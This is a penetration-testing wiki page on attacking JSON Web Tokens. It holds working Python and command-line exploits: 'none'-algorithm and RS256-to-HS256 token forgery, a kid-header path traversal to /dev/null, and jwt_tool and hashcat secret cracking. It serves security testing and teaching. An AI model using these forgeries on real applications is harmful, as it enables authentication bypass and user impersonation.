Comment on page
Insecure JSON Web Tokens
Some web applications rely on JSON Web Tokens (JWTs) for stateless authentication and access control instead of stateful ones with traditional session cookies. Some implementations are insecure and allow attackers to bypass controls, impersonate users, or retrieve secrets.
Testers need to find if, and where, the tokens are used. A JWT is a base64 string of at least 100 characters, made of three parts (header, payload, signature) separated by dot, and usually located in
Authorization headers with the Bearer keyword. See the the following example.Authorization: Bearer eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]
Once the tokens are found, testers need to assess their implementation's security by attempting some known attacks and flaws.
JWTs are just base64 encoded data. They may contain sensitive unencrypted information.
Testers need to decode the token, change the algorithm to
None (or none, NONE, nOnE) in the header, remove the signature, and send the modified token. Some applications are vulnerable to this attack since some support a None algorithm for signature.This can be done in Python.
import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
new_token = jwt.encode(old_token_payload, key='', algorithm=None)
print(new_token)
If the token is accepted by the web app, it means the payload can be altered.
import jwt
payload = {'key1':'value1', 'key2':'value2'}
token = jwt.encode(payload, key='', algorithm=None)
print(token)
If the algorithm used to sign the payload is RS256, testers can try to use HS256 instead. Instead of signing the JWT payload with a private key, using HS256 will make the web app sign it with a public key that can sometimes be easily obtained.
Some applications re-use their TLS certificate for JWT operations. The TLS certificate's public key used by a server can be obtained with the following command.
echo | openssl s_client -connect $TARGET:443 | openssl x509 -pubkey -noout > pubkey.pem
The following Python code can be used to identify if the web application is vulnerable to this attack.
import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
public_key = open('pubkey.pem', 'r').read()
new_token = jwt.encode(old_token_payload, key=public_key, algorithm='HS256')
print(new_token)
If the token is accepted by the web app, it means the payload can be altered.
The jwt library imported in the following Python code raises an exception when attempting to use an asymmetric key or x509 certificate as an HMAC secret. Testers need to install version 0.4.3
pip/pip3 install pyjwt==0.4.3.import jwt
public_key = open('pubkey.pem', 'r').read()
payload = {'key1':'value1', 'key2':'value2'}
token = jwt.encode(payload, key=public_key, algorithm='HS256')
print(token)
The kid (Key ID) is an optional parameter specified in the JWT header part to indicate the key used for signature validation in case there are multiple ones.
The structure of this ID is not specified and it can be any string value (case-sensitive).
The last part is interesting because, if the parameter is vulnerable to directory traversal, this would allow to perform path traversal and point to a file
path/file with content we can guess or known somehow, and use its content as the value of the signing key."JWT authentication bypass via kid header path traversal" PortSwigger lab provides more insight on this technique.
The example mentioned above is located at
/proc/sys/kernel/ftrace_enabledIn some cases, using the trick above will not work, as the file is listed with a size of 0, and some apps could check that the signature file is not empty.
>>> import os
>>> os.path.getsize("/proc/sys/kernel/ftrace_enabled")
0
Alternatively, other file could be used:
- some have a content that rarely changes (e.g. old configuration files like
/etc/host.conf,/etc/xattr.conf, ...) - some have a predictable content (e.g.
/etc/hostname, JS files in/var/www/html, ...) - some return an empty string (e.g.
/dev/null) effectively allowing to bypass the signature validation, meaning an empty key could be used for signature.
1
import jwt, os
2
payload = {'key1':'value1', 'key2':'value2'}
3
with open("path/to/file", 'r') as file:
4
data = file.read()
5
token = jwt.encode(payload, key=data, algorithm='HS256', headers={"kid": "../../../path/to/file"})
6
print(token)
If Burp is used to craft the JWT token, a symmetric key with value of the
k property in the JWT equal to AA== (base64 value of null byte) must be created.When JWT uses
HMAC-SHA256/384/512 algorithms to sign the payload, testers can try to find the secret if weak enough.# crack the secret using dictionnary attack
jwt_tool.py -v -C -d $wordlist_file "$JWT_value"
# use the secret to tapmer (-T option) the token
# running this command will show up a menu to choose the value to tamper
# the result token will be signed with the submited secret using the specified singing algorithm "alg" (hs256/hs384/hs512 = HMAC-SHA signing).
jwt_tool.py -v -S $alg -p "$secret" -T "$JWT_value"
JWT secrets can also be cracked using hashcat (see the AD credential cracking page for more detailed info on how to use it).
hashcat --hash-type 16500 --attack-mode 0 $JWTs_file $wordlist_file
In certain scenarios, public keys can be recovered when knowing one (for algos
ES256, ES384, ES512) or two (for algos RS256, RS384, RS512) tokens.
Last modified 3mo ago